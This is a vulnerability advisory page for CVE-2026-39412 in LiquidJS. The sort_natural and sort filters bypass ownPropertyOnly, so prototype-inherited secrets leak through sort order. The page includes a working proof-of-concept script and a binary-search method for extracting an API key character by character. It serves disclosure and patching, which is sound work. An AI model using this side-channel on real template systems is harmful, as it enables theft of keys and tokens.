Medium

LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel

  • Disclosed: 08.04.2026
  • Updated: 11.10.2026 10:22

Summary

The sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.

Details

In src/filters/array.ts, the sort_natural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:

ts
export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
  const propertyString = stringify(property)
  const compare = property === undefined
    ? caseInsensitiveCompare
    : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
  const array = toArray(input)
  this.context.memoryLimit.use(array.length)
  return [...array].sort(compare)
}

In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:

ts
export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
  return obj[key]
}

The sort_natural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.

PoC

js
const { Liquid } = require('liquidjs');

async function main() {
  const engine = new Liquid({ ownPropertyOnly: true });

  // Object with prototype-inherited secret
  function UserModel() {}
  UserModel.prototype.apiKey = 'sk-1234-secret-token';

  const target = new UserModel();
  target.name = 'target';

  const probe_a = { name: 'probe_a', apiKey: 'aaa' };
  const probe_z = { name: 'probe_z', apiKey: 'zzz' };

  // Direct access: correctly blocked by ownPropertyOnly
  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
  console.log('Direct access:', JSON.stringify(r1));  // "" (blocked)

  // map filter: correctly blocked
  const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
  console.log('Map filter:', JSON.stringify(r2));  // "" (blocked)

  // sort_natural: BYPASSES ownPropertyOnly
  const r3 = await engine.parseAndRender(
    '{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
    { users: [probe_z, target, probe_a] }
  );
  console.log('sort_natural order:', r3);
  // Output: "probe_a,target,probe_z,"
  // If apiKey were blocked: original order "probe_z,target,probe_a,"
  // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}

main();

Result:

Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,

The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.

Impact

Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sort_natural or sort filters, bypassing the security control that is supposed to prevent prototype property access.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package liquidjs < 10.25.4 10.25.4

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness (CWE)
CWE-200
Platform
npm
Package
liquidjs
Disclosed
08.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-rv5g-f82m-qrvv - CC BY 4.0

Vulnerability history: liquidjs

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (19) in the archive
Total entries
19
First → latest
12.2022 10.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 10
  • Medium 7
  • Low 1

Disclosures per year

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 18
Severity:
  1. High CVE-2026-61556 >= 10.26.0, < 10.27.1 10.27.1
  2. Critical · 10.0 CVE-2026-45618 < 10.26.0 10.26.0
  3. LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel this entry
    Medium · 5.3 CVE-2026-39412 < 10.25.4 10.25.4
  4. High CVE-2026-30952 < 10.25.0 10.25.0

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